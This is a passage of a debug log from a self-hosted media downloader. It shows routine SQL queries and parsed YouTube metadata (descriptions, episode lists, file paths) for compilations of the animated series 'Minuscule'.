ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Dream Of Speed | S03E24\n00:01:29 | A Candlelight Christmas | S03E20\n00:02:58 | Telecanetic | S03E19\n00:04:27 | Glue | S03E06\n00:06:04 | Like A Cannon Ball | S03E03\n00:07:33 | Webrizon | S03E02\n00:09:02 | At Full Speed | S03E22\n00:10:23 | Blunder | S03E26\n00:12:04 | Fly Swatter | S03E13\n00:13:33 | Broom's Sweep | S03E21\n00:15:02 | Ant On The Rocks | S03E17\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#dream #speed #snail #awakening #candlelight #Christmas #mosquito #sting #Minuscule #nature #insects #ladybugs #animatedseries", "A Dream Of Speed | Minuscule 🍃 20' Compilation", "d5a5a953-0e77-4e0c-8d2c-d2139314fa3b", "DvJa--G8oTo", 1012, false, 5, "https://www.youtube.com/watch?v=DvJa--G8oTo", 50, "/downloads/Miniscule Season 2/2025-06-03 A Dream Of Speed | Minuscule 🍃 20' Compilation/A Dream Of Speed | Minuscule 🍃 20' Compilation [DvJa--G8oTo].mp4", false, false, false, [], 1, ~U[2025-06-03 06:00:48Z], ~U[2025-12-12 05:10:33Z], ~U[2025-12-12 05:10:33Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Dream Of Speed | S03E24\n00:01:29 | A Candlelight Christmas | S03E20\n00:02:58 | Telecanetic | S03E19\n00:04:27 | Glue | S03E06\n00:06:04 | Like A Cannon Ball | S03E03\n00:07:33 | Webrizon | S03E02\n00:09:02 | At Full Speed | S03E22\n00:10:23 | Blunder | S03E26\n00:12:04 | Fly Swatter | S03E13\n00:13:33 | Broom's Sweep | S03E21\n00:15:02 | Ant On The Rocks | S03E17\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#dream #speed #snail #awakening #candlelight #Christmas #mosquito #sting #Minuscule #nature #insects #ladybugs #animatedseries", "A Dream Of Speed | Minuscule 🍃 20' Compilation", "DvJa--G8oTo", 1012, false, 5, "https://www.youtube.com/watch?v=DvJa--G8oTo", "/downloads/Miniscule Season 2/2025-06-03 A Dream Of Speed | Minuscule 🍃 20' Compilation/A Dream Of Speed | Minuscule 🍃 20' Compilation [DvJa--G8oTo].mp4", false, ~U[2025-06-03 06:00:48Z]] 22:10:33.555 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=383.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:33.556 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:33.557 [debug] QUERY OK source="media_items" db=0.5ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91167] 22:10:33.557 [debug] Current batch of media processed. Will check again in 1000ms 22:10:34.558 [debug] Current batch of media processed. Will check again in 1000ms 22:10:35.559 [debug] Current batch of media processed. Will check again in 1000ms 22:10:36.560 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Chocolate Chase! | S02E19\n00:03:45 | Gather More to Pollinate More | S02E32\n00:07:31 | Trapped | S02E64\n00:11:13 | Top Tabasco | S02E70\n00:14:51 | Beehive On A Troll | S02E56\n00:18:21 | The Grocery Store Incident | S02E39\n00:21:52 | The Long Road | S02E34\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#chocolate #centipede #bees #wasps #gather #pollinate #productivity #competition #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1573, "filename" => "/downloads/Miniscule Season 2/2025-05-13 The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation/The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation [qwA42qr00U4].mp4", "id" => "qwA42qr00U4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qwA42qr00U4", "playlist_index" => 51, "timestamp" => 1747116049, "title" => "The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation", "upload_date" => "20250513"} 22:10:36.561 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1389.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:36.562 [debug] QUERY OK source="sources" db=0.5ms idle=1390.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:36.564 [debug] QUERY OK source="media_items" db=1.0ms idle=1391.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-13 06:00:49Z], 5] 22:10:36.579 [debug] QUERY OK source="media_items" db=14.1ms idle=1393.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Chocolate Chase! | S02E19\n00:03:45 | Gather More to Pollinate More | S02E32\n00:07:31 | Trapped | S02E64\n00:11:13 | Top Tabasco | S02E70\n00:14:51 | Beehive On A Troll | S02E56\n00:18:21 | The Grocery Store Incident | S02E39\n00:21:52 | The Long Road | S02E34\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#chocolate #centipede #bees #wasps #gather #pollinate #productivity #competition #Minuscule #nature #insects #ladybugs #animatedseries", "The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation", "102a9f68-a4f7-41b5-bf6d-6ee8d7aefedc", "qwA42qr00U4", 1573, false, 5, "https://www.youtube.com/watch?v=qwA42qr00U4", 51, "/downloads/Miniscule Season 2/2025-05-13 The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation/The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation [qwA42qr00U4].mp4", false, false, false, [], 1, ~U[2025-05-13 06:00:49Z], ~U[2025-12-12 05:10:36Z], ~U[2025-12-12 05:10:36Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Chocolate Chase! | S02E19\n00:03:45 | Gather More to Pollinate More | S02E32\n00:07:31 | Trapped | S02E64\n00:11:13 | Top Tabasco | S02E70\n00:14:51 | Beehive On A Troll | S02E56\n00:18:21 | The Grocery Store Incident | S02E39\n00:21:52 | The Long Road | S02E34\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#chocolate #centipede #bees #wasps #gather #pollinate #productivity #competition #Minuscule #nature #insects #ladybugs #animatedseries", "The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation", "qwA42qr00U4", 1573, false, 5, "https://www.youtube.com/watch?v=qwA42qr00U4", "/downloads/Miniscule Season 2/2025-05-13 The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation/The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation [qwA42qr00U4].mp4", false, ~U[2025-05-13 06:00:49Z]] 22:10:36.580 [debug] QUERY OK source="sources" db=0.4ms idle=592.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:36.580 [debug] QUERY OK source="media_profiles" db=0.4ms idle=18.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:36.582 [debug] QUERY OK source="media_items" db=0.6ms idle=18.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90657] 22:10:36.582 [debug] Current batch of media processed. Will check again in 1000ms 22:10:37.583 [debug] Current batch of media processed. Will check again in 1000ms 22:10:38.584 [debug] Current batch of media processed. Will check again in 1000ms 22:10:39.585 [debug] Current batch of media processed. Will check again in 1000ms 22:10:40.586 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wing Case | S02E01\n00:03:45 | Homeless | S02E02\n00:07:33 | Bzzaping | S02E03\n00:11:20 | The Stubborn Spider | S02E04\n00:15:05 | An Acorn Season | S02E05\n00:18:51 | Sausage Predator | S02E06\n00:22:36 | Microzilla | S02E07\n00:26:22 | Honey Fly | S02E08\n00:30:12 | Mission : BBQ | S02E09\n00:33:57 | The Vegetable Garden | S02E10\n00:37:42 | Thievish As A Magpie | S02E11\n00:41:27 | A Pathetic She'Nut'Igan | S02E12\n00:45:13 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:48:58 | Chewing gum rodeo | S02E14\n00:52:44 | Valentine's Day | S02E15\n00:56:29 | Acrobatics | S02E16\n01:00:15 | The Hat Of The Medusa | S02E17\n01:04:00 | Night of the Gastropods | S02E18\n01:07:46 | The Chocolate Chase! | S02E19\n01:11:31 | A Butterfly's Nightmare | S02E20\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #egg #caterpillar #adoption #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 4527, "filename" => "/downloads/Miniscule Season 2/2025-05-29 The Wing Case | Minuscule 🍃 100' Compilation/The Wing Case | Minuscule 🍃 100' Compilation [OEih9-JDEP8].mp4", "id" => "OEih9-JDEP8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OEih9-JDEP8", "playlist_index" => 52, "timestamp" => 1748512908, "title" => "The Wing Case | Minuscule 🍃 100' Compilation", "upload_date" => "20250529"} 22:10:40.587 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=591.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:40.588 [debug] QUERY OK source="sources" db=0.4ms idle=416.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:40.590 [debug] QUERY OK source="media_items" db=1.1ms idle=417.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-29 10:01:48Z], 5] 22:10:40.611 [debug] QUERY OK source="media_items" db=20.3ms idle=419.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wing Case | S02E01\n00:03:45 | Homeless | S02E02\n00:07:33 | Bzzaping | S02E03\n00:11:20 | The Stubborn Spider | S02E04\n00:15:05 | An Acorn Season | S02E05\n00:18:51 | Sausage Predator | S02E06\n00:22:36 | Microzilla | S02E07\n00:26:22 | Honey Fly | S02E08\n00:30:12 | Mission : BBQ | S02E09\n00:33:57 | The Vegetable Garden | S02E10\n00:37:42 | Thievish As A Magpie | S02E11\n00:41:27 | A Pathetic She'Nut'Igan | S02E12\n00:45:13 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:48:58 | Chewing gum rodeo | S02E14\n00:52:44 | Valentine's Day | S02E15\n00:56:29 | Acrobatics | S02E16\n01:00:15 | The Hat Of The Medusa | S02E17\n01:04:00 | Night of the Gastropods | S02E18\n01:07:46 | The Chocolate Chase! | S02E19\n01:11:31 | A Butterfly's Nightmare | S02E20\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #egg #caterpillar #adoption #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "The Wing Case | Minuscule 🍃 100' Compilation", "7a20e3c9-dda7-4cb9-9136-cf09a4942776", "OEih9-JDEP8", 4527, false, 5, "https://www.youtube.com/watch?v=OEih9-JDEP8", 52, "/downloads/Miniscule Season 2/2025-05-29 The Wing Case | Minuscule 🍃 100' Compilation/The Wing Case | Minuscule 🍃 100' Compilation [OEih9-JDEP8].mp4", false, false, false, [], 1, ~U[2025-05-29 10:01:48Z], ~U[2025-12-12 05:10:40Z], ~U[2025-12-12 05:10:40Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wing Case | S02E01\n00:03:45 | Homeless | S02E02\n00:07:33 | Bzzaping | S02E03\n00:11:20 | The Stubborn Spider | S02E04\n00:15:05 | An Acorn Season | S02E05\n00:18:51 | Sausage Predator | S02E06\n00:22:36 | Microzilla | S02E07\n00:26:22 | Honey Fly | S02E08\n00:30:12 | Mission : BBQ | S02E09\n00:33:57 | The Vegetable Garden | S02E10\n00:37:42 | Thievish As A Magpie | S02E11\n00:41:27 | A Pathetic She'Nut'Igan | S02E12\n00:45:13 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:48:58 | Chewing gum rodeo | S02E14\n00:52:44 | Valentine's Day | S02E15\n00:56:29 | Acrobatics | S02E16\n01:00:15 | The Hat Of The Medusa | S02E17\n01:04:00 | Night of the Gastropods | S02E18\n01:07:46 | The Chocolate Chase! | S02E19\n01:11:31 | A Butterfly's Nightmare | S02E20\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #egg #caterpillar #adoption #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "The Wing Case | Minuscule 🍃 100' Compilation", "OEih9-JDEP8", 4527, false, 5, "https://www.youtube.com/watch?v=OEih9-JDEP8", "/downloads/Miniscule Season 2/2025-05-29 The Wing Case | Minuscule 🍃 100' Compilation/The Wing Case | Minuscule 🍃 100' Compilation [OEih9-JDEP8].mp4", false, ~U[2025-05-29 10:01:48Z]] 22:10:40.612 [debug] QUERY OK source="sources" db=0.5ms idle=440.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:40.613 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=25.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:40.614 [debug] QUERY OK source="media_items" db=0.6ms idle=25.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91171] 22:10:40.614 [debug] Current batch of media processed. Will check again in 1000ms 22:10:41.616 [debug] Current batch of media processed. Will check again in 1000ms 22:10:42.617 [debug] Current batch of media processed. Will check again in 1000ms 22:10:43.618 [debug] Current batch of media processed. Will check again in 1000ms 22:10:44.619 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Woopsy Daysies! | S02E47\n00:03:34 | Summer Hat | S02E48\n00:07:15 | Sand Castle | S02E49\n00:10:42 | The Grocery Store Racketeer | S02E50\n00:14:17 | Snow Fly | S02E51\n00:17:42 | Ants On The Train | S02E52\n00:21:13 | Zzz In The Metro | S02E53\n00:24:49 | Go Blue Go! | S02E54\n00:28:30 | Black Slope For Gastropod Skiers | S02E55\n00:32:16 | Beehive On A Troll | S02E56\n00:35:46 | The Mosquito Of The Caribbean | S02E57\n00:39:32 | Turbo speed | S02E58\n00:42:56 | Snow Carrot | S02E59\n00:46:35 | Pollution | S02E60\n00:50:21 | Metamorphosis | S02E61\n00:53:51 | Ladybugland | S02E62\n00:57:19 | White As Snow | S02E63\n01:00:55 | Trapped | S02E64\n01:04:38 | Refrigerated | S02E65\n01:08:12 | Twelve Angry Snails | S02E66\n01:11:45 | It's a tie! | S02E67\n01:15:25 | Sleep Walker | S02E68\n01:18:50 | Labyrinth | S02E69\n01:22:35 | Top Tabasco | S02E70\n01:26:13 | Umbrella And Coconut Trees | S02E71\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #leaps #calculation #house #summer #hat #fly #spider #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 5425, 